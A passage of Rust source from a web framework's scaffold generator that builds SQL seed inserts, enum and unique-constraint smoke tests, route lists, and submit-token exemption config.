/// rows; the remaining types fall back to [`sql_sample_literal`]'s constant
/// sample.
/// Those constant types (enum's closed set, a `references` FK id, bool,
/// decimal at a fixed scale, bytea) cannot hold [`API_SMOKE_TEST_SEED_ROWS`]
/// distinct values anyway — an inherent limit that only matters for the
/// unusual scaffold declaring a `unique` column of such a type, where no
/// seeding strategy could satisfy the constraint. `uuid` needs no special
/// case: its `sql_sample_literal` is `gen_random_uuid()`, already distinct
/// per row.
fn sql_seed_value_expr(backend: DatabaseBackend, f: &Field) -> String {
let sqlite = backend == DatabaseBackend::Sqlite;
match f.kind {
// A slug field is always `unique` (issue #1260) -- it MUST vary per
// row here, or the seeded rows collide on the very first re-insert.
FieldKind::String | FieldKind::Text | FieldKind::RichText | FieldKind::Slug => {
"'sample-' || g".to_owned()
}
FieldKind::I32 | FieldKind::I64 => "g".to_owned(),
FieldKind::F32 | FieldKind::F64 if sqlite => "CAST(g AS REAL)".to_owned(),
FieldKind::F32 | FieldKind::F64 => "g::double precision".to_owned(),
FieldKind::NaiveDateTime | FieldKind::DateTime if sqlite => {
"datetime('now', '+' || g || ' seconds')".to_owned()
}
FieldKind::NaiveDateTime | FieldKind::DateTime => {
"NOW() + (g || ' seconds')::interval".to_owned()
}
// Enum must stay inside its declared set — pick a real variant.
FieldKind::Enum => {
format!("'{}'", f.variants.first().expect("enum field has variants"))
}
// A constant `'{}'::jsonb` for every row (issue #1341 review) would
// collide on the very first re-insert for a `unique` json column —
// vary it with `g`, same as the text/numeric arms above.
FieldKind::Json if sqlite => "'{\"seed\": ' || g || '}'".to_owned(),
FieldKind::Json => "('{\"seed\": ' || g || '}')::jsonb".to_owned(),
_ => sql_sample_literal(backend, f.kind),
}
}
/// Build the raw seed `INSERT` for the `--api` smoke test:
/// [`API_SMOKE_TEST_SEED_ROWS`] rows, each with a valid, per-row-varying value
/// for every required (`NOT NULL`, no `DEFAULT`) column — see
/// [`sql_seed_value_expr`].
///
/// Unlike a bare `INSERT ... DEFAULT VALUES`, this satisfies a required column
/// that has no database default (e.g. the `title:string` a plain
/// `autumn generate scaffold Post title:string --api` produces), which
/// `DEFAULT VALUES` cannot — it would fail at runtime on the `NOT NULL`
/// constraint. A single `generate_series(1, N)` drives the row count and its
/// index `g` varies the values.
///
/// When the model has no required columns at all (every field nullable or
/// defaulted, e.g. a fieldless scaffold), it emits N separate
/// `INSERT INTO <plural> DEFAULT VALUES` statements instead — the case the old
/// `INSERT ... DEFAULT VALUES` covered. A single targetless
/// `INSERT ... SELECT FROM generate_series` would be *invalid* here: a
/// zero-column `SELECT` is matched against every table column (`id` included)
/// and fails at runtime with a column-count mismatch rather than inserting N
/// default rows.
fn render_api_seed_sql(
backend: DatabaseBackend,
plural: &str,
fields: &[Field],
defaults: &BTreeMap<String, String>,
) -> String {
let mut columns = Vec::new();
let mut values = Vec::new();
for f in fields {
if !f.nullable && !defaults.contains_key(&f.name) {
columns.push(f.name.clone());
values.push(sql_seed_value_expr(backend, f));
}
}
let n = API_SMOKE_TEST_SEED_ROWS;
if columns.is_empty() {
// N all-default rows, one valid `DEFAULT VALUES` insert each. The
// smoke test's setup path (`render_execute_sql_calls`) splits these
// into one `db.execute_sql(...)` call per statement.
vec![format!("INSERT INTO {plural} DEFAULT VALUES"); n].join(";\n")
} else {
let (with, source) = match backend {
DatabaseBackend::Postgres => (String::new(), format!("generate_series(1, {n}) AS g")),
// `SQLite` has no `generate_series`; a recursive CTE gives the same index.
DatabaseBackend::Sqlite => (
format!(
"WITH RECURSIVE g(g) AS (SELECT 1 UNION ALL SELECT g + 1 FROM g WHERE g < {n}) "
),
"g".to_owned(),
),
};
format!(
"{with}INSERT INTO {plural} ({}) SELECT {} FROM {source}",
columns.join(", "),
values.join(", ")
)
}
}
/// Build a raw `INSERT INTO <plural> (...)` statement that sets `target`'s
/// enum column to a value guaranteed to be outside its declared variant set,
/// and every other required (`NOT NULL`, no `DEFAULT`) column to a valid
/// sample value — see [`sql_sample_literal`].
fn enum_rejection_insert_sql(
backend: DatabaseBackend,
plural: &str,
fields: &[Field],
target: &Field,
defaults: &BTreeMap<String, String>,
) -> String {
let mut columns = Vec::new();
let mut values = Vec::new();
for f in fields {
if f.name == target.name {
columns.push(f.name.clone());
values.push("'__not_a_real_variant__'".to_owned());
} else if !f.nullable && !defaults.contains_key(&f.name) {
columns.push(f.name.clone());
// A scaffold can have more than one required enum column; the
// generic `sql_sample_literal` fallback ("'sample'") isn't a
// real variant of any *other* enum field's own closed set, which
// would trip that field's CHECK too and muddy which column's
// constraint actually failed.
let value = if f.is_enum() {
format!("'{}'", f.variants.first().expect("enum field has variants"))
} else {
sql_sample_literal(backend, f.kind)
};
values.push(value);
}
}
format!(
"INSERT INTO {plural} ({}) VALUES ({})",
columns.join(", "),
values.join(", ")
)
}
/// Render one `#[ignore]`d `#[tokio::test]` per enum field that asserts the
/// closed set is enforced at both layers (issue #1030's success metric):
///
/// 1. A raw `INSERT` (bypassing the app entirely) with an out-of-set value
/// for the field must fail — proving the database-level `CHECK`
/// constraint, independent of any application code.
/// 2. For an HTML (non-`--api`) scaffold, a stand-in `POST` handler — same
/// convention as [`render_index_smoke_test`]'s stand-in `GET` handler —
/// rejects an out-of-set form value with `400` naming the field, proving
/// the request-boundary validation (issue #1030's `--query`-free path
/// through `decode_form`'s `FromStr` parse, reproduced here since a
/// `tests/*.rs` binary cannot import the project's own handler code).
/// 3. Either way, the table ends up with zero rows.
fn render_enum_rejection_smoke_test(
backend: DatabaseBackend,
plural: &str,
fields: &[Field],
defaults: &BTreeMap<String, String>,
setup_calls: &str,
api: bool,
) -> String {
let reset_call = smoke_reset_call(backend, plural);
let db_ctor = smoke_db_ctor(backend);
let ignore_attr = smoke_ignore_attr(backend);
// `setup_calls` is shared with, and identical to, the base index/api smoke test's own
// setup, which issues a plain, non-idempotent `CREATE TABLE {plural} (...)` and, for
// any `--index`/`references` field, a plain `CREATE INDEX idx_{plural}_{field} ...`
// matching the real migration. Both tests run against the same `TestDb::shared()`
// Postgres container in the same test binary, so whichever ran second would hit
// "relation already exists". Make this test's own copies of both statement kinds
// idempotent, so it works alongside the base test or standalone. The reference-stub
// `CREATE TABLE`s are already `IF NOT EXISTS` (see `render_reference_stub_tables_sql`),
// so only the main table's statement needs the same treatment; `CREATE INDEX` has no
// per-index counterpart, so every occurrence is rewritten.
let setup_calls = setup_calls.replacen(
&format!("CREATE TABLE {plural} ("),
&format!("CREATE TABLE IF NOT EXISTS {plural} ("),
1,
);
let setup_calls = setup_calls.replace("CREATE INDEX idx_", "CREATE INDEX IF NOT EXISTS idx_");
let setup_calls = setup_calls.as_str();
let mut out = String::new();
for target in fields.iter().filter(|f| f.is_enum()) {
let field_name = &target.name;
let insert_sql = enum_rejection_insert_sql(backend, plural, fields, target, defaults);
let escaped_insert = escape_sql_for_rust_literal(&insert_sql);
let allowed_values = target
.variants
.iter()
.map(|v| format!("\"{v}\""))
.collect::<Vec<_>>()
.join(" | ");
let request_boundary_check = if api {
String::new()
} else {
format!(
"#[post(\"/{plural}\")]\n\
async fn create(body: autumn_web::reexports::axum::body::Bytes) -> AutumnResult<&'static str> {{\n\
\x20\x20\x20\x20let value = url::form_urlencoded::parse(body.as_ref())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.find(|(k, _)| k == \"{field_name}\")\n\
\x20\x20\x20\x20\x20\x20\x20\x20.map(|(_, v)| v.into_owned())\n\
\x20\x20\x20\x20\x20\x20\x20\x20.unwrap_or_default();\n\
\x20\x20\x20\x20if !matches!(value.as_str(), {allowed_values}) {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20return Err(AutumnError::bad_request_msg(format!(\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\"{field_name}: must be one of {variants_display}\"\n\
\x20\x20\x20\x20\x20\x20\x20\x20)));\n\
\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20Ok(\"ok\")\n\
}}\n\
\n\
\x20\x20\x20\x20let client: TestClient = TestApp::new().routes(routes![create]).with_db(db.pool()).build();\n\
\n\
\x20\x20\x20\x20client.post(\"/{plural}\").form(\"{field_name}=__not_a_real_variant__\").send().await\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_status(400)\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_body_contains(\"{field_name}\");\n",
field_name = field_name,
allowed_values = allowed_values,
variants_display = target.variants.join(", "),
)
};
let _ = write!(
out,
"\n#[tokio::test]\n\
{ignore_attr}\
async fn {plural}_rejects_out_of_set_{field_name}() {{\n\
\x20\x20\x20\x20let db = TestDb::{db_ctor}().await;\n\
{setup_calls}\
\x20\x20\x20\x20{reset_call}\n\
\n\
{request_boundary_check}\
\n\
\x20\x20\x20\x20let mut conn = db.pool().get().await.expect(\"failed to get db connection\");\n\
\x20\x20\x20\x20let result = diesel::sql_query(\"{escaped_insert}\").execute(&mut *conn).await;\n\
\x20\x20\x20\x20assert!(result.is_err(), \"out-of-set {field_name} must violate the CHECK constraint\");\n\
\n\
\x20\x20\x20\x20let count: i64 = {plural}::table.count().get_result(&mut *conn).await.unwrap();\n\
\x20\x20\x20\x20assert_eq!(count, 0, \"the rejected row must not have been written\");\n\
}}\n",
);
}
out
}
/// A deterministic non-`NULL` literal for a `FieldKind`, used to seed and
/// then re-insert the *same* value in [`render_unique_violation_smoke_test`]
/// so the second insert reliably collides. Unlike [`sql_sample_literal`],
/// this deliberately avoids non-deterministic SQL (`gen_random_uuid()`,
/// `NOW()`) — two evaluations of either would almost certainly differ and
/// the duplicate-insert assertion would never trip.
fn unique_sample_literal(backend: DatabaseBackend, kind: FieldKind) -> String {
let sqlite = backend == DatabaseBackend::Sqlite;
match kind {
FieldKind::String
| FieldKind::Text
| FieldKind::RichText
| FieldKind::Enum
| FieldKind::Slug => "'dup_value'".to_owned(),
// `position`/`commentable` can never be `:unique` (both rejected in
// `parse_field`), so these arms are unreachable in practice — listed
// for exhaustiveness with the same literal as `I32`/`I64`.
FieldKind::I32 | FieldKind::I64 | FieldKind::Position | FieldKind::Commentable => {
"424242".to_owned()
}
// Must be a real seeded row's id, not an arbitrary literal — a
// `references` target column is FK-constrained against the stub
// table `render_reference_stub_tables_sql` seeds exactly one row
// (id 1) into. An arbitrary id like `424242` would fail on the FK
// constraint before the insert ever reaches the UNIQUE index this
// test exists to exercise. Matches `sql_sample_literal`'s existing
// convention for the same reason.
FieldKind::References => "1".to_owned(),
FieldKind::Bool => "TRUE".to_owned(),
FieldKind::F32 | FieldKind::F64 => "1.5".to_owned(),
// Scale-derived, distinct from `sql_sample_literal`'s digit-1 value
// for the same field — see `decimal_literal_at_scale`.
FieldKind::Decimal { scale, .. } => decimal_literal_at_scale(scale, 2),
FieldKind::Uuid if sqlite => "'00000000-0000-0000-0000-000000000001'".to_owned(),
FieldKind::Uuid => "'00000000-0000-0000-0000-000000000001'::uuid".to_owned(),
FieldKind::NaiveDateTime | FieldKind::DateTime if sqlite => {
"'2024-01-01 00:00:00'".to_owned()
}
FieldKind::NaiveDateTime => "'2024-01-01 00:00:00'::timestamp".to_owned(),
FieldKind::DateTime => "'2024-01-01 00:00:00+00'::timestamptz".to_owned(),
FieldKind::Bytea if sqlite => "X'DEADBEEF'".to_owned(),
FieldKind::Bytea => "'\\xDEADBEEF'::bytea".to_owned(),
FieldKind::Attachment => "NULL".to_owned(),
FieldKind::Json if sqlite => "'{\"seed\": 1}'".to_owned(),
FieldKind::Json => "'{\"seed\": 1}'::jsonb".to_owned(),
}
}
/// A second, distinct deterministic literal for a `FieldKind` — distinct
/// from both [`unique_sample_literal`] and [`sql_sample_literal`]'s value
/// for the same kind. Used by [`unique_violation_insert_sql`] for a
/// scaffold's *other* unique fields (not the one under test) when building
/// the duplicate insert: if more than one field is `unique`, reusing the
/// exact same value for a non-target unique column on both inserts would
/// trip *that* column's own UNIQUE index too, racing against the target's
/// to decide which violation Postgres actually reports.
fn unique_sample_literal_variant(backend: DatabaseBackend, kind: FieldKind) -> String {
let sqlite = backend == DatabaseBackend::Sqlite;
match kind {
FieldKind::String
| FieldKind::Text
| FieldKind::RichText
| FieldKind::Enum
| FieldKind::Slug => "'dup_value_2'".to_owned(),
// `position` can never be `:unique` (rejected in `parse_field`), so
// this arm is unreachable in practice — listed for exhaustiveness
// with the same literal as `I32`/`I64`.
FieldKind::I32 | FieldKind::I64 | FieldKind::Position | FieldKind::Commentable => {
"424243".to_owned()
}
// The second stub row `render_reference_stub_tables_sql` seeds —
// distinct from `unique_sample_literal`'s "1" for the same reason
// that one must be a real seeded row's id, not an arbitrary literal.
FieldKind::References => "2".to_owned(),
FieldKind::Bool => "FALSE".to_owned(),
FieldKind::F32 | FieldKind::F64 => "2.5".to_owned(),
// Scale-derived, distinct from both `sql_sample_literal`'s digit-1
// and `unique_sample_literal`'s digit-2 value — see
// `decimal_literal_at_scale`.
FieldKind::Decimal { scale, .. } => decimal_literal_at_scale(scale, 3),
FieldKind::Uuid if sqlite => "'00000000-0000-0000-0000-000000000002'".to_owned(),
FieldKind::Uuid => "'00000000-0000-0000-0000-000000000002'::uuid".to_owned(),
FieldKind::NaiveDateTime | FieldKind::DateTime if sqlite => {
"'2024-01-02 00:00:00'".to_owned()
}
FieldKind::NaiveDateTime => "'2024-01-02 00:00:00'::timestamp".to_owned(),
FieldKind::DateTime => "'2024-01-02 00:00:00+00'::timestamptz".to_owned(),
FieldKind::Bytea if sqlite => "X'BEEFDEAD'".to_owned(),
FieldKind::Bytea => "'\\xBEEFDEAD'::bytea".to_owned(),
FieldKind::Attachment => "NULL".to_owned(),
FieldKind::Json if sqlite => "'{\"seed\": 2}'".to_owned(),
FieldKind::Json => "'{\"seed\": 2}'::jsonb".to_owned(),
}
}
/// Build a raw `INSERT INTO <plural> (...)` statement that sets `target`'s
/// unique column to a deterministic, repeatable value (see
/// [`unique_sample_literal`]) and every other required (`NOT NULL`, no
/// `DEFAULT`) column to a valid sample value — mirrors
/// [`enum_rejection_insert_sql`]'s shape.
///
/// `is_duplicate_insert` selects which literal a *non-target* `unique`
/// column gets: `false` (the first insert) uses the same
/// [`sql_sample_literal`] every other required column gets; `true` (the
/// second, colliding insert) switches those specific columns to
/// [`unique_sample_literal_variant`] instead, so a scaffold with more than
/// one `unique` field doesn't also duplicate a *different* column's value
/// and race it against `target`'s for which violation Postgres reports.
fn unique_violation_insert_sql(
backend: DatabaseBackend,
plural: &str,
fields: &[Field],
target: &Field,
defaults: &BTreeMap<String, String>,
is_duplicate_insert: bool,
) -> String {
let mut columns = Vec::new();
let mut values = Vec::new();
for f in fields {
if f.name == target.name {
columns.push(f.name.clone());
let value = if f.is_enum() {
format!("'{}'", f.variants.first().expect("enum field has variants"))
} else {
unique_sample_literal(backend, f.kind)
};
values.push(value);
} else if !f.nullable && !defaults.contains_key(&f.name) {
columns.push(f.name.clone());
let value = if is_duplicate_insert && f.unique && f.is_enum() {
let variant = f.variants.get(1).unwrap_or(&f.variants[0]);
format!("'{variant}'")
} else if is_duplicate_insert && f.unique {
unique_sample_literal_variant(backend, f.kind)
} else if f.is_enum() {
format!("'{}'", f.variants.first().expect("enum field has variants"))
} else {
sql_sample_literal(backend, f.kind)
};
values.push(value);
}
}
format!(
"INSERT INTO {plural} ({}) VALUES ({})",
columns.join(", "),
values.join(", ")
)
}
/// Render one `#[ignore]`d `#[tokio::test]` per `unique` field (issue #1032)
/// that proves, against a real (throwaway) Postgres or `SQLite` database:
///
/// 1. A raw duplicate `INSERT` (bypassing the app entirely) violates the
/// migration's `CREATE UNIQUE INDEX` — the constraint is real, not just
/// documented.
/// 2. The resulting `diesel::result::Error`, converted to `AutumnError` via
/// the same blanket `?`/`From` conversion the generated handler relies
/// on, is correctly classified by `autumn_web::error::
/// unique_violation_field` against the *real* Postgres constraint name —
/// proving the `idx_<table>_<field>_unique` naming convention this
/// generator and the runtime helper both assume actually round-trips
/// through Postgres.
/// 3. For an HTML (non-`--api`) scaffold, a stand-in `POST` handler — same
/// convention as [`render_index_smoke_test`]'s stand-in `GET` handler —
/// turns a duplicate submission into a `422` naming the field, proving
/// the full request-boundary path (issue #1032's success metric: a
/// second POST with the same value gets a field-level error, not a
/// `500`).
#[allow(
clippy::too_many_lines,
reason = "one generated test template; splitting it would scatter one format string"
)]
fn render_unique_violation_smoke_test(
backend: DatabaseBackend,
plural: &str,
fields: &[Field],
unique_fields: &[&Field],
defaults: &BTreeMap<String, String>,
setup_calls: &str,
api: bool,
) -> String {
let reset_call = smoke_reset_call(backend, plural);
let db_ctor = smoke_db_ctor(backend);
let db_label = smoke_db_label(backend);
let ignore_attr = smoke_ignore_attr(backend);
// Same idempotency treatment as `render_enum_rejection_smoke_test` (see
// its comment) — this test's own setup must tolerate running alongside
// the base index/api smoke test and/or the enum-rejection smoke test in
// the same `TestDb::shared()` container.
let setup_calls = setup_calls.replacen(
&format!("CREATE TABLE {plural} ("),
&format!("CREATE TABLE IF NOT EXISTS {plural} ("),
1,
);
let setup_calls = setup_calls.replace("CREATE INDEX idx_", "CREATE INDEX IF NOT EXISTS idx_");
let setup_calls = setup_calls.replace(
"CREATE UNIQUE INDEX idx_",
"CREATE UNIQUE INDEX IF NOT EXISTS idx_",
);
let setup_calls = setup_calls.as_str();
let mut out = String::new();
for target in unique_fields {
// A unique constraint on an always-`Option`-wrapped attachment blob
// is a degenerate case (Postgres permits unlimited `NULL`s under a
// unique index, so there's no violation to provoke) — skip it here,
// same as `unique`'s handling elsewhere never claims to cover it.
if target.kind.is_attachment() {
continue;
}
let field_name = &target.name;
let insert_sql =
unique_violation_insert_sql(backend, plural, fields, target, defaults, false);
let escaped_insert = escape_sql_for_rust_literal(&insert_sql);
// A scaffold with more than one `unique` field needs a *second*,
// distinct insert for the DB-level duplicate-insert check below: if
// it reused `escaped_insert` verbatim, a non-target unique column
// would collide with itself too, racing against `target`'s own
// collision to decide which violation Postgres actually reports
// (issue #1032 review follow-up). Only that DB-level check gets the
// varied insert — the request-boundary stand-in handler below is a
// single compiled function invoked via two separate HTTP calls, so
// it has no way to distinguish "first call" from "second call" and
// keeps using `escaped_insert` for both, same as before.
let insert_sql_dup =
unique_violation_insert_sql(backend, plural, fields, target, defaults, true);
let escaped_insert_dup = escape_sql_for_rust_literal(&insert_sql_dup);
let constraint_name = unique_index_name(plural, field_name, fields);
let request_boundary_check = if api {
String::new()
} else {
format!(
"#[post(\"/{plural}\")]\n\
async fn create(mut db: Db) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{\n\
\x20\x20\x20\x20use autumn_web::reexports::axum::response::IntoResponse as _;\n\
\x20\x20\x20\x20let result: AutumnResult<()> = async {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20// The client sends this same request twice (see below) to prove\n\
\x20\x20\x20\x20\x20\x20\x20\x20// the 200-then-422 path — this one compiled handler runs for both\n\
\x20\x20\x20\x20\x20\x20\x20\x20// calls, so it can't statically bake in \"first insert\" vs.\n\
\x20\x20\x20\x20\x20\x20\x20\x20// \"duplicate insert\" the way the DB-level check above does.\n\
\x20\x20\x20\x20\x20\x20\x20\x20// Reading the row count instead tells the two calls apart at\n\
\x20\x20\x20\x20\x20\x20\x20\x20// runtime: 0 means this is the first (must succeed) call, so\n\
\x20\x20\x20\x20\x20\x20\x20\x20// every unique column gets its plain sample value; any other\n\
\x20\x20\x20\x20\x20\x20\x20\x20// count means this is the second (must collide) call, so\n\
\x20\x20\x20\x20\x20\x20\x20\x20// non-target unique columns switch to their distinct variant —\n\
\x20\x20\x20\x20\x20\x20\x20\x20// otherwise a scaffold with more than one unique field would\n\
\x20\x20\x20\x20\x20\x20\x20\x20// duplicate a *different* column too and Postgres could report\n\
\x20\x20\x20\x20\x20\x20\x20\x20// that one instead of {field_name}'s.\n\
\x20\x20\x20\x20\x20\x20\x20\x20let existing: i64 = {plural}::table.count().get_result(&mut *db).await?;\n\
\x20\x20\x20\x20\x20\x20\x20\x20let insert_sql = if existing == 0 {{ \"{escaped_insert}\" }} else {{ \"{escaped_insert_dup}\" }};\n\
\x20\x20\x20\x20\x20\x20\x20\x20diesel::sql_query(insert_sql).execute(&mut *db).await?;\n\
\x20\x20\x20\x20\x20\x20\x20\x20Ok(())\n\
\x20\x20\x20\x20}}.await;\n\
\x20\x20\x20\x20if let Err(err) = result {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20if let Some((field, message)) = autumn_web::error::unique_violation_field(\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20&err,\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20&[(\"{constraint_name}\", \"{field_name}\", \"has already been taken\")],\n\
\x20\x20\x20\x20\x20\x20\x20\x20) {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return Ok((\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY,\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20format!(\"{{field}}: {{message}}\"),\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20).into_response());\n\
\x20\x20\x20\x20\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20\x20\x20\x20\x20return Err(err);\n\
\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20Ok(autumn_web::reexports::http::StatusCode::OK.into_response())\n\
}}\n\
\n\
\x20\x20\x20\x20{reset_call}\n\
\x20\x20\x20\x20let client: TestClient = TestApp::new().routes(routes![create]).with_db(db.pool()).build();\n\
\n\
\x20\x20\x20\x20client.post(\"/{plural}\").send().await.assert_status(200);\n\
\x20\x20\x20\x20client.post(\"/{plural}\").send().await\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_status(422)\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_body_contains(\"{field_name}\");\n"
)
};
let _ = write!(
out,
"\n#[tokio::test]\n\
{ignore_attr}\
async fn {plural}_rejects_duplicate_{field_name}() {{\n\
\x20\x20\x20\x20let db = TestDb::{db_ctor}().await;\n\
{setup_calls}\
\x20\x20\x20\x20{reset_call}\n\
\n\
\x20\x20\x20\x20let mut conn = db.pool().get().await.expect(\"failed to get db connection\");\n\
\x20\x20\x20\x20diesel::sql_query(\"{escaped_insert}\").execute(&mut *conn).await.expect(\"first insert must succeed\");\n\
\x20\x20\x20\x20let dup_result = diesel::sql_query(\"{escaped_insert_dup}\").execute(&mut *conn).await;\n\
\x20\x20\x20\x20let dup_err = dup_result.expect_err(\"a duplicate {field_name} must violate the UNIQUE index\");\n\
\n\
\x20\x20\x20\x20let mapped: AutumnResult<()> = Err(dup_err.into());\n\
\x20\x20\x20\x20let mapped_err = mapped.unwrap_err();\n\
\x20\x20\x20\x20let (field, _message) = autumn_web::error::unique_violation_field(\n\
\x20\x20\x20\x20\x20\x20\x20\x20&mapped_err,\n\
\x20\x20\x20\x20\x20\x20\x20\x20&[(\"{constraint_name}\", \"{field_name}\", \"has already been taken\")],\n\
\x20\x20\x20\x20).expect(\"a real {db_label} unique_violation error must be classified by field\");\n\
\x20\x20\x20\x20assert_eq!(field, \"{field_name}\");\n\
\n\
{request_boundary_check}\
}}\n",
);
}
out
}
#[allow(
clippy::too_many_arguments,
clippy::fn_params_excessive_bools,
reason = "one parameter per optional route family the scaffold can emit \
(live SSE, search, bulk delete, inline validation, state \
transitions, rich-text preview); grouping them into a struct would \
only move the same list one level out"
)]
fn main_route_entries(
plural: &str,
snake_name: &str,
api: bool,
live: bool,
search: bool,
bulk_delete: bool,
export_csv: bool,
// Issue #1393: `true` under `--import`, mounting the CSV upload form and the
// handler that previews or commits it.
import_csv: bool,
// Issue #1332: `true` under `--soft-delete` on the standard HTML path,
// mounting the trash view and its restore/purge controls.
trash: bool,
// Issue #1358: `true` when the model has a `position` field on the
// standard HTML path, mounting the two `move_up`/`move_down` controls.
reorder: bool,
validated_field_names: &[String],
sm_field_names: &[String],
rich_text_field_names: &[String],
// Issue #1323: `true` under `--belongs-to`, mounting the two nested
// handlers the routes module emits alongside the flat seven.
nested: bool,
) -> Vec<String> {
if api {
let mut entries = vec![
format!("repositories::{snake_name}::{snake_name}_api_list"),
format!("repositories::{snake_name}::{snake_name}_api_get"),
format!("repositories::{snake_name}::{snake_name}_api_create"),
format!("repositories::{snake_name}::{snake_name}_api_update"),
format!("repositories::{snake_name}::{snake_name}_api_delete"),
];
if live {
entries.push(format!("repositories::{snake_name}::stream"));
}
entries
} else {
let mut entries = vec![
format!("routes::{plural}::index"),
format!("routes::{plural}::show"),
format!("routes::{plural}::new_form"),
format!("routes::{plural}::create"),
format!("routes::{plural}::edit_form"),
format!("routes::{plural}::update"),
format!("routes::{plural}::destroy"),
];
// Issue #1312: mount the bulk delete-selected route immediately after the
// per-row `destroy` it generalises. Gated with the handler emission in
// `render_routes_file` — mounting a route the module never emitted would
// fail the generated app to compile.
if bulk_delete {
entries.push(format!("routes::{plural}::bulk_delete"));
}
// Issue #1315: mount the CSV export next to the index it exports. Gated
// with the handler emission in `render_routes_file` for the same reason
// as `bulk_delete` above.
if export_csv {
entries.push(format!("routes::{plural}::export_csv"));
}
// Issue #1393: mount the import pair next to the export it mirrors.
// Gated with the handler emission in `render_routes_file` for the same
// reason as `bulk_delete`/`export_csv` above.
if import_csv {
entries.push(format!("routes::{plural}::import_form"));
entries.push(format!("routes::{plural}::import"));
}
// Issue #1332: mount the trash view next to the index it recovers from,
// then its two per-row controls. Gated with the handler emission in
// `render_routes_file` for the same reason as `bulk_delete` above —
// mounting a route the module never emitted would fail the generated app
// to compile.
if trash {
entries.push(format!("routes::{plural}::trash"));
entries.push(format!("routes::{plural}::restore"));
entries.push(format!("routes::{plural}::purge"));
}
// Issue #1358: mount the reorder controls next to `destroy`, same
// reasoning as `bulk_delete`/`trash` above.
if reorder {
entries.push(format!("routes::{plural}::move_up"));
entries.push(format!("routes::{plural}::move_down"));
}
if live {
entries.push(format!("routes::{plural}::events"));
}
// Issue #1319: register the FTS results route (non-live only; the box is
// gated off for live variants — see `render_routes_file`).
if search {
entries.push(format!("routes::{plural}::search"));
}
for field_name in validated_field_names {
entries.push(format!("routes::{plural}::validate_{field_name}"));
}
// Issue #1326: mount the `POST /{plural}/{{id}}/transitions/{field}`
// handler emitted for each state-machine field, so the show page's
// `transition_controls` form actions resolve to a real route rather than
// 404ing. A scaffold with no state-machine field pushes nothing here and
// keeps the pre-#1326 mounted route set byte-identical.
for field_name in sm_field_names {
entries.push(format!("routes::{plural}::transition_{field_name}"));
}
// Issue #1255: mount the `POST /{plural}/preview/{field}` fragment
// handler emitted for each `richtext` column, so the editor's htmx live
// preview resolves to a real route rather than 404ing. A scaffold with
// no rich-text column pushes nothing here and keeps the mounted route
// set byte-identical.
for field_name in rich_text_field_names {
entries.push(format!("routes::{plural}::preview_{field_name}"));
}
// Issue #1323: the nested read/create pair. Gated with the handler
// emission in `render_routes_file` — mounting a route the module never
// emitted would fail the generated app to compile.
if nested {
entries.push(format!("routes::{plural}::nested_index"));
entries.push(format!("routes::{plural}::nested_create"));
}
entries.push(format!("repositories::{snake_name}::{snake_name}_api_list"));
entries.push(format!("repositories::{snake_name}::{snake_name}_api_get"));
entries
}
}
/// The submit-token exempt-path prefix for one family of a resource's
/// form-echoing POST routes.
///
/// `segment` is `"validate"` for the `--live-validation` inline-validation
/// routes (`POST /{plural}/validate/{field}`, issue #1360) or `"preview"` for a
/// `richtext` column's live Markdown preview (`POST /{plural}/preview/{field}`,
/// issue #1255). Either prefix exempts every route in its family at once (the
/// guard matches `exempt_paths` by prefix — an exact match, a prefix ending in
/// `/`, or a prefix whose remainder begins with `/`, so `/{plural}/validate`
/// covers `/{plural}/validate/title`, `/{plural}/validate/body`, … without
/// touching the guarded `POST /{plural}` create route).
fn submit_token_exempt_prefix(plural: &str, segment: &str) -> String {
format!("/{plural}/{segment}")
}
/// The `(start, end)` line span of a top-level `[header]` TOML table — the
/// header line through the last line before the next top-level `[...]` header
/// or EOF. `None` when `header` is absent. Mirrors the auth generator's
/// equivalent so submit-token exemptions merge into an existing block instead
/// of emitting a duplicate table.
fn toml_table_block_range(lines: &[&str], header: &str) -> Option<(usize, usize)> {
let start = lines.iter().position(|l| l.trim() == header)?;
let end = lines[start + 1..]
.iter()
.position(|l| l.trim_start().starts_with('['))
.map_or(lines.len(), |rel| start + 1 + rel);
Some((start, end))
}
/// Ensure `/{plural}/{segment}` is listed under `[security.submit_token]
/// exempt_paths` so a scaffold's form-echoing POSTs (inline validation,
/// issue #1360; richtext preview, issue #1255) never consume the one-time
/// submit token.
///
/// This is the route-based, field-name-agnostic half of the fix: the
/// `hx-params="not _submit_token"` markup filter only strips the DEFAULT field
/// name, so an app that customises `security.submit_token.field_name` would
/// otherwise still leak the token into the validation POST and have the real
/// create/update submit replay a validation fragment. Exempting the route makes
/// it robust regardless of the configured field name.
///
/// Returns `Some(updated_toml)` only when it actually inserts the exemption, and
/// `None` when the file is left unchanged — the prefix is already present, or
/// the `exempt_paths` array is too malformed to parse. Callers must gate BOTH
/// the plan's modify action AND the destroy-time ownership revert on `Some`:
/// recording a revert for a no-op would let `autumn destroy` delete a
/// preexisting, user-owned exemption we never added.
///
/// Handles three shapes — no `[security.submit_token]` table (append a fresh
/// one), a table without an `exempt_paths` key (insert the key after the
/// header), and a table whose `exempt_paths` array is merged in place.
fn append_submit_token_exempt_to_toml(
existing: &str,
plural: &str,
segment: &str,
) -> Option<String> {
use toml_edit::{Array, DocumentMut, Item, Table, Value};
let exempt = submit_token_exempt_prefix(plural, segment);
// Parse format-preservingly so comments, ordering, and hand-crafted array
